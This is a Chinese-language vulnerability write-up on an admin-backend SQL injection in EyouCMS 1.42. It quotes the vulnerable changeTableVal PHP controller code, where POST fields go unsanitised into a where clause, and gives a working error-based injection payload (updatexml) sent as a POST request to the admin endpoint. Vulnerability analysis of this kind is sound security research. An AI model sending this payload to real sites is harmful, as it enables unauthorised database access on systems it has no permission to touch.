EyouCMS 1.42 后台注入
一、漏洞简介
二、漏洞影响
三、复现过程
漏洞分析
/application/admin/controller/Index.php
public function changeTableVal()
{
if (IS_AJAX_POST) {
$url = null;
$data = [
'refresh' => 0,
];
$table = input('post.table/s'); // 表名
$id_name = input('post.id_name/s'); // 表主键id名
$id_value = input('post.id_value/s'); // 表主键id值
$field = input('post.field/s'); // 修改哪个字段
$value = input('post.value/s', '', null); // 修改字段值
switch ($table) {
// 会员等级表
case 'users_level':
{
$return = model('UsersLevel')->isRequired($id_name,$id_value,$field,$value);
if (is_array($return)) {
$this->error($return['msg']);
}
}
break;
// 会员属性表
case 'users_parameter':
{
$return = model('UsersParameter')->isRequired($id_name,$id_value,$field,$value);
if (is_array($return)) {
$this->error($return['msg']);
}
}
break;
// 会员中心菜单表
case 'users_menu':
{
Db::name('users_menu')->where('id','gt',0)->update([
'is_userpage' => 0,
'update_time' => getTime(),
]);
$data['refresh'] = 1;
}
break;
// 会员投稿功能
case 'archives':
{
if ('arcrank' == $field) {
if (0 == $value) {
$value = -1;
}else{
$value = 0;
}
}
}
break;
// 会员产品类型表
case 'users_type_manage':
{
if (empty($value)) {
$this->error('不可为空');
}
}
break;
default:
# code...
break;
}
$savedata = [
$field => $value,
'update_time' => getTime(),
];
M($table)->where("$id_name = $id_value")->cache(true,null,$table)->save($savedata); // 根据条件保存修改的数据
// 以下代码可以考虑去掉,与行为里的清除缓存重复 AppEndBehavior.php / clearHtmlCache
switch ($table) {
case 'auth_modular':
extra_cache('admin_auth_modular_list_logic', null);
extra_cache('admin_all_menu', null);
break;
default:
// 清除logic逻辑定义的缓存
extra_cache('admin_'.$table.'_list_logic', null);
// 清除一下缓存
// delFile(RUNTIME_PATH.'html'); // 先清除缓存, 否则不好预览
\think\Cache::clear($table);
break;
}
/*清除页面缓存*/
// $htmlCacheLogic = new \app\common\logic\HtmlCacheLogic;
// $htmlCacheLogic->clear_archives();
/*--end*/
$this->success('更新成功', $url, $data);
}
}
第307行:
M($table)->where("$id_name = $id_value")->cache(true,null,$table)->save($savedata); // 根据条件保存修改的数据
直接将函数头获取的POST传入SQL语句里面:
$table = input('post.table/s'); // 表名
$id_name = input('post.id_name/s'); // 表主键id名
$id_value = input('post.id_value/s'); // 表主键id值
$field = input('post.field/s'); // 修改哪个字段
$value = input('post.value/s', '', null); // 修改字段值
漏洞复现
payload:
http://0-sec.org/eyou/?m=admin&c=Index&a=changeTableVal
post:
table=admin&id_name=admin_id&id_value='1'//and//updatexml(1,concat(0x7e,user(),0x7e),1)